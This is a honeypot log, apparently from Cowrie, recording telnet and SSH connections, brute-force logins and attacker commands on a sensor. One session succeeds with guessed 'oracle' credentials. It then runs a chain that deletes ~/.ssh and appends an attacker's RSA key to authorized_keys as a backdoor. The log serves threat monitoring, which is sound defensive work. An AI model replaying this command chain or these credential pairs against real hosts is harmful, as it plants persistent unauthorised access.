{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:12.865429Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44216,"dst_ip":"159.203.135.109","dst_port":23,"session":"35b6e5c7e692","protocol":"telnet","message":"New connection: 38.60.198.128:44216 (159.203.135.109:23) [session: 35b6e5c7e692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:14.628998Z"}
{"eventid":"cowrie.session.closed","duration":45.52500319480896,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:19.312051Z","src_ip":"45.81.23.16","session":"f22356f1fb37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":57868,"dst_ip":"159.203.135.109","dst_port":23,"session":"a980e23ab9d9","protocol":"telnet","message":"New connection: 64.227.82.147:57868 (159.203.135.109:23) [session: a980e23ab9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:19.868321Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49364,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63d1147ea36","protocol":"telnet","message":"New connection: 38.60.198.128:49364 (159.203.135.109:23) [session: d63d1147ea36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:20.313159Z"}
{"eventid":"cowrie.session.closed","duration":40.804248571395874,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:20.985757Z","src_ip":"38.60.198.128","session":"24f7c3cee7dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47904,"dst_ip":"159.203.135.109","dst_port":23,"session":"96f67224ceb1","protocol":"telnet","message":"New connection: 38.60.198.128:47904 (159.203.135.109:23) [session: 96f67224ceb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:22.054566Z"}
{"eventid":"cowrie.session.closed","duration":1.0482048988342285,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:23.102665Z","src_ip":"38.60.198.128","session":"96f67224ceb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.80229330062866,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:23.557419Z","src_ip":"38.60.198.128","session":"a067aaf3a3ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33618,"dst_ip":"10.17.0.5","dst_port":23,"session":"b873d9855639","protocol":"telnet","message":"New connection: 38.54.119.93:33618 (10.17.0.5:23) [session: b873d9855639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:27.027165Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35366,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf6f09c53ad","protocol":"telnet","message":"New connection: 192.211.53.160:35366 (159.203.135.109:23) [session: daf6f09c53ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:29.771988Z"}
{"eventid":"cowrie.session.closed","duration":41.86951470375061,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:31.249525Z","src_ip":"192.211.53.160","session":"bdc5046948bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.489495515823364,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:31.357480Z","src_ip":"64.227.82.147","session":"a980e23ab9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.87566065788269,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:33.902713Z","src_ip":"38.54.119.93","session":"b873d9855639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.35950994491577,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:35.491337Z","src_ip":"38.60.198.128","session":"61d6953258a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.477577209472656,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:36.861291Z","src_ip":"38.60.198.128","session":"54383913534a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt update","message":"CMD: sudo apt update","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:37.004625Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.33207035064697,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:40.939079Z","src_ip":"38.60.198.128","session":"fc4ca17b17cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.636398792266846,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:42.423362Z","src_ip":"38.60.198.128","session":"0700352f0c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.829941749572754,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:44.396734Z","src_ip":"38.60.198.128","session":"43b57d5f4740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.909857749938965,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:47.143869Z","src_ip":"38.60.198.128","session":"eddc6c73035c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":32914,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d02f42312b","protocol":"ssh","message":"New connection: 198.98.56.227:32914 (10.17.0.5:22) [session: 46d02f42312b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:48.948527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:48.963967Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:49.141921Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2024","message":"login attempt [oracle/oracle@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:49.946823Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.022865Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.026964Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.031144Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.150143Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.386927Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.390514Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.412891Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.416903Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":33106,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d7aa5d26cf7","protocol":"ssh","message":"New connection: 198.98.56.227:33106 (10.17.0.5:22) [session: 8d7aa5d26cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.446822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.455198Z","src_ip":"198.98.56.227","session":"8d7aa5d26cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.460956Z","src_ip":"198.98.56.227","session":"8d7aa5d26cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.517483Z","src_ip":"198.98.56.227","session":"8d7aa5d26cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56244,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa4d6f389a40","protocol":"telnet","message":"New connection: 38.60.198.128:56244 (159.203.135.109:23) [session: fa4d6f389a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:50.886789Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:51.526481Z","src_ip":"198.98.56.227","session":"8d7aa5d26cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":33108,"dst_ip":"10.17.0.5","dst_port":22,"session":"70037305e82e","protocol":"ssh","message":"New connection: 198.98.56.227:33108 (10.17.0.5:22) [session: 70037305e82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:51.531288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:51.537189Z","src_ip":"198.98.56.227","session":"70037305e82e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:51.547470Z","src_ip":"198.98.56.227","session":"70037305e82e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:51.621440Z","src_ip":"198.98.56.227","session":"70037305e82e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:51.635638Z","src_ip":"198.98.56.227","session":"46d02f42312b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:51.639544Z","src_ip":"198.98.56.227","session":"70037305e82e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb267466f59","protocol":"telnet","message":"New connection: 38.54.119.93:50556 (10.17.0.5:23) [session: 8eb267466f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:25:54.338256Z"}
{"eventid":"cowrie.session.closed","duration":40.66415047645569,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:00.977151Z","src_ip":"38.60.198.128","session":"d63d1147ea36","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a5766c43281f40aa249642f88a55125799daa90a85ab4ae2c3703c62f9e3ce34","size":614,"shasum":"a5766c43281f40aa249642f88a55125799daa90a85ab4ae2c3703c62f9e3ce34","duplicate":false,"duration":"48.2","message":"Closing TTY Log: var/lib/cowrie/tty/a5766c43281f40aa249642f88a55125799daa90a85ab4ae2c3703c62f9e3ce34 after 48.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:01.078864Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"63.6","message":"Connection lost after 63.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:01.082603Z","src_ip":"181.214.173.79","session":"4070e3f4aa28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.53988337516785,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:01.168761Z","src_ip":"38.60.198.128","session":"35b6e5c7e692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.281895160675049,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:01.620025Z","src_ip":"38.54.119.93","session":"8eb267466f59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.85743832588196,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:08.629301Z","src_ip":"192.211.53.160","session":"daf6f09c53ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53998,"dst_ip":"159.203.135.109","dst_port":23,"session":"e755b936651c","protocol":"telnet","message":"New connection: 38.60.198.128:53998 (159.203.135.109:23) [session: e755b936651c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:12.328884Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55102,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e4c773ef9dc","protocol":"telnet","message":"New connection: 38.60.198.128:55102 (159.203.135.109:23) [session: 6e4c773ef9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:13.313283Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.94.171","src_port":12254,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c48a1d2d288","protocol":"telnet","message":"New connection: 103.180.94.171:12254 (10.17.0.5:23) [session: 6c48a1d2d288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:14.799743Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":49600,"dst_ip":"159.203.135.109","dst_port":23,"session":"914985fb5363","protocol":"telnet","message":"New connection: 192.211.53.160:49600 (159.203.135.109:23) [session: 914985fb5363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:25.239465Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c4e7b751368","protocol":"telnet","message":"New connection: 38.54.119.93:42044 (10.17.0.5:23) [session: 6c4e7b751368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:25.430661Z"}
{"eventid":"cowrie.session.closed","duration":12.269495725631714,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:27.068896Z","src_ip":"103.180.94.171","session":"6c48a1d2d288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3290cff87d17","protocol":"telnet","message":"New connection: 38.60.198.128:43902 (159.203.135.109:23) [session: 3290cff87d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:28.844489Z"}
{"eventid":"cowrie.session.closed","duration":38.36242938041687,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:29.249114Z","src_ip":"38.60.198.128","session":"fa4d6f389a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.074518442153931,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:31.505012Z","src_ip":"38.54.119.93","session":"6c4e7b751368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":33514,"dst_ip":"159.203.135.109","dst_port":22,"session":"83c3bb867b2b","protocol":"ssh","message":"New connection: 57.128.222.14:33514 (159.203.135.109:22) [session: 83c3bb867b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:36.804634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:36.811547Z","src_ip":"57.128.222.14","session":"83c3bb867b2b","protocol":"ssh"}
